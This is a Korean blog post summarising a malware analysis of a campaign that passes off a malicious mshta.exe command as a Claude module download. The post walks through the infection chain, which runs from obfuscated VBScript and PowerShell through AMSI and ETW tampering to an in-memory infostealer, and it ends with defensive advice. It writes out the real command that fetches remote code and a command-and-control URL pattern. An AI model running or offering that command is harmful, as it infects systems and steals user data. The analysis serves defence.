SWUFORCE/기술 보고서

AI 열풍 뒤의 그림자: Claude 모듈로 위장한 악성코드

hmyang444 2026. 5. 4. 23:19

https://blog.plainbit.co.kr/malicious_code_disguised_as_a_claude_module/

 

AI 열풍 뒤의 그림자: Claude 모듈로 위장한 악성코드

1. 개요 최근 LLM(Large Language Model) 기반의 생성형 AI 시장이 빠르게 성장하면서 다양한 AI 서비스와 모델이 등장하고 있다. OpenAI의 ChatGPT, Google의 Gemini, Anthropic의 Claude 등 여러 기업들이 경쟁적으로

blog.plainbit.co.kr

**해당 내용을 참고했습니다.

 

 

개요

LLM 기반의 생성형AI 시장이 빠르게 확산되고 성장하면서 다양한 AI 서비스가 등장하고 있다.

이러한 생성형AI는 기업 환경, 공공기관, 개인 사용자까지 다양하게 활용되고 있다.

생성형AI가 발달하면서 공격 사례 또한 지속적으로 증가하고 있는데, 

- 가짜 AI 서비스 사이트

- 악성코드를 포함한 AI 앱
- AI 플로그인 설치 프로그램 유포

등의 공격들이 있다. 

 

최근 Claude AI모듈을 다운로드하는 명령으로 위장한 악성 명령이 공유되고 있는 사례가 발견되었다.

해당 명령을 실행하는 순간 시스템에서 악성코드가 실행되어 시스템 정보가 탈취된다. 

 

 

악성코드 동작 과정

어떻게 실행될까? 

[출처] 해당 블로그_그림1_악성코드 동작 개요

 

[1] 악성 명령 실행: 사용자가 인터넷에 공유된 악성 명령을 실행하는 순간 악성코드 감염이 시작된다.

C:\Windows\SysWOW64\mshta.exe https://download-version.4-1-7.com/claude

실행하면, mshta.exe프로그램을 통해 공격자의 HTA(HTML Application)파일을 실행하도록 구성되어 있다. 

--> 공격자는 윈도우 운영체제의 기본 프로그램인 mshta.exe를 사용해서 보안 솔루션의 탐지를 회피했다. 

 

[2] VBScript(claude) 실행: 악성 도메인에서 제공하는 HTA의 앞 부분에는 실제 코드와 관련 없는 다량의 데이터가 보인다.

출처: 해당 블로그_ [그림 2] HTA 코드(claude)의 앞 부분에 존재하는 무의미한 값들

이 데이터는 파일 크기를 비정상적으로 증가시키거나 파일 헤더를 변조해 보안 솔루션의 탐지를 회피할 수 있게 된다. 

 

실제 코드가 존재하는 영역으로 넘어가면, 악성 VBScript 코드가 존재한다.
VBScript는 SetArreares 함수에서 IsBear 함수를 호출해 Hex 값을 ASCII 문자열로 변환하고, 변환된 ASCII 문자열을 DefineSplit 함수를 통해 Base64로 디코딩 과정을 수행한다. 이후 디코딩된 powershell 명령을 작업 스케줄러로 등록한다. 

아래는 Hex로 인코딩된 데이터를 보여준다. 

출처: 해당 블로그_ [그림 3] HTA 코드(claude) 내 Hex로 인코딩된 악성 페이로드 중 일부

[3] 악성 작업 스케줄러 등록: VBScript 실행 이후 악성 작업 스케줄러가 등록된다. 등록된 작업 스케줄러는 등록 시점부터 9초 동안 base64로 인코딩된 powershell 명령을 백그라운드에서 실행한다. 

**작업 스케줄러 등록: 내가 정한 특정 시간이나 조건이 되면, 컴퓨터가 자동으로 특정 프로그램이나 스크립트(VBScript 등)를 실행하도록 예약하는 것

 

 

[4] 인코딩된 powershell 악성코드 실행: powershell 명령 실행 이후, 악성코드 초반에 8초 동안 실행을 대기하고 동작되지 않거나, 의미없는 연산을 수행하면서 정상적인 스크립트처럼 보이도록 위장하는 더미 코드(Junk Code)가 실행된다.

출처: 해당 블로그_ [그림 5] 디코딩된 PowerShell 명령 내 더미 코드(Junk Code)

- Waitone(8000): 8초간 실행 멈추기

- if ((Get-Random ...) -lt 0): 1000에서 5000 사이의 난수를 생성했는데 0보다 작을 확률은 없으므로 실행X

-  $V3D5 = $ZSjv8br / 2~~~: 부분은 숫자를 랜덤하게 뽑아 2로 나누고 다시 2를 곱한 뒤, 변수를 null로 비워버립니다.

---> 결과적으로 시스템에 남는 데이터는 아무것도 없다.

등등

 

더미 코드 이후에 base64로 인코딩된 추가 powershell payload가 포함되어 있고, 해당 payload를 디코딩해 실행한다. 

추가 payload가 실행되면, 감염된 시스템을 식별하기 위한 고유 ID를 생성한다.

고유 ID: 호스트명과 사용자명을 합친 문자열 --> UTF-8 변환 --> MD5 해시 값 생성
생성한 해시값에서 '-' 문자 제거 후, 소문자로 변환해 앞 16자리를 사용한다. 

출처: 해당 블로그_ [그림 7] 고유 ID 생성 코드

예시)

COMPUTERNAME: PC01
USERNAME: PLAINBIT

MD5: 376657f298bf576911d589e2f640693d
고유 ID: 376657f298bf5769

그러면 이 고유 ID를 서브 도메인으로 구성한 악성 도메인 URL이 생성되게 된다. 공격자는 서브 도메인에 감염된 시스템별 고유 ID를 넣어 감염된 시스템을 식별하고, 감염 시스템별 다른 페이로드를 실행할 수 있다.

https://<감염ID>.brambleufer.ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1

 

마지막으로 생성된 URL을 통해 추가 악성 도메인으로부터 PowerShell 스크립트(cloude-91267b64-989f-49b4-89b4-984e0154d4d1)의 내용을 다운로드하고, 보안 솔루션에서 탐지하기 어렵도록 메모리에서 실행한다.

 

[5] 난독화된 powershell 악성코드 실행: 악성 도메인에서 추가로 다운로드 후 실행되는 페이로드는 다양한 난독화 기법이 적용되어 있다. 그래서 실제로 코드의 동작을 파악하기 어렵다. 

Arithmetic Obfuscation 숫자를 그대로 입력하지 않고, 불필요한 산술 연산을 통해 코드 난독화
Junk Code 실행 결과에 영향을 주지 않는 동작으로 코드 난독화
Random Variable Name 변수 명을 랜덤으로 설정해 코드 난독화
Division 문자를 분할하고 결합해 코드 난독화
Reorder 문자 결합 시 순서를 지정해 코드 난독화
Ascii Char Assigns 코드 문자열에 해당하는 Ascii 코드를 사용해 코드 난독화
Encoding Byte 값을 UTF-8 문자열로 변환 후 Base64
Encryption XOR 연산을 통해 문자열 암호화해 코드 난독화

 

난독화된 powershell 악성코드에 포함되어있는 junk code를 제외하고 실제 악성 행위를 수행하는 코드를 연산한 뒤 ASCII 코드 값으로 변환한다. 

출처: 해당 블로그_ [그림 11] 난독화된 PowerShell 악성코드 복호화 과정

변환한 ASCII 코드를 결합하면 아래와 같은 복호화된 PowerShell 악성코드를 확인할 수 있다. 해당 악성코드는 '$JPt5DaKYGoAED' 변수에 저장되어 있는 페이로드를 UTF-8 문자열로 변환한 뒤 Base64 디코딩을 수행한다

출처: 해당 블로그_ [그림 12] 추가 페이로드(2차) 복호화 및 실행 코드 (일부 변수 명 변경)

이후 AMSI_RESULT_NOT_DETECTED 문자열을 키로 사용해서 XOR 복호화 결과를 powershell scriptblock 형태로 생성하고 메모리에서 실행한다. 

 

추가로 실행되는 PowerShell 악성코드(2차)를 분석하면, 아래와 같은 기능을 수행한다.

1) amsi.dll의 내부 함수(AmsiInitialize)를 항상 정상 결과(AMSI_RESULT_CLEAN)를 반환하도록 수정해 AMSI 검사 무력화

2) ntdll.dll의 내부 함수(EtwEventWrite)를 동작하지 않도록 수정해 이벤트 로깅 기능 무력화

 

 

이후(추가 페이로드 3차), '$mingsfqwo86h8qsbk' 변수에 저장되어 있는 페이로드를 모듈러 연산 후 XOR 복호화를 수행한다. 복호화된 결과 값 앞의 37Byte와 뒤의 9Byte를 제거한 문자열을 PowerShell ScriptBlock 형태로 생성하고 메모리에서 실행한다.

출처: 해당 블로그_ [그림 14] 추가 페이로드(3차) 복호화 및 실행 코드

추가로 실행되는 PowerShell 악성코드(3차)는 '$cqlptgx5d7vlrgs' 변수에 저장되어 있는 페이로드를 KEY 값을 변화하면서 XOR 복호화를 수행한다.

출처: 해당 블로그_ [그림 15] 추가 페이로드(4차) 복호화 및 실행 코드

페이로드를 복호화하면 

이런 shellcode가 메모리에서 실행되고, 복호화된 페이로드를 다시 XOR 연산으로 암호화해서 보안 솔루션의 탐지를 회피한다.

 

[6] shellcode 실행: shellcode는 새로운 메모리를 할당하고, 할당한 메모리에 다른 주소에 존재하는 페이로드 데이터를 복사한다.

복사한 페이로드는 XOR과 재정렬 과정을 통해 악성 파일 데이터로 저장된다. 

 

최종적으로 악성코드는 시스템 내부 정보를 탈취하는 인포스틸러 기능을 수행하며, 악성 서버로 탈취한 정보를 전송한다.

 

 

결론

최근 생성형 AI 열풍은 사용자들에게 편의성과 생산성 향상을 제공하고 있지만, 동시에 공격자들에게는 새로운 공격 수단으로 활용되고 있다. 기업의 경우 보안 솔루션의 체계가 잘 구성되어 있어 공격을 회피하기 쉽지만, 일반 사용자들에게는 백신 외의 별도의 보안 솔루션이 있지 않기 때문에 공격에 더욱 취약하다고 볼 수 있다.

 

 안전한 보안 환경을 이루기 위해...

(1) 검증된 경로에서 파일 다운로드

(2) 검증된 명령어 실행

(3) 지속적인 호스트 모니터링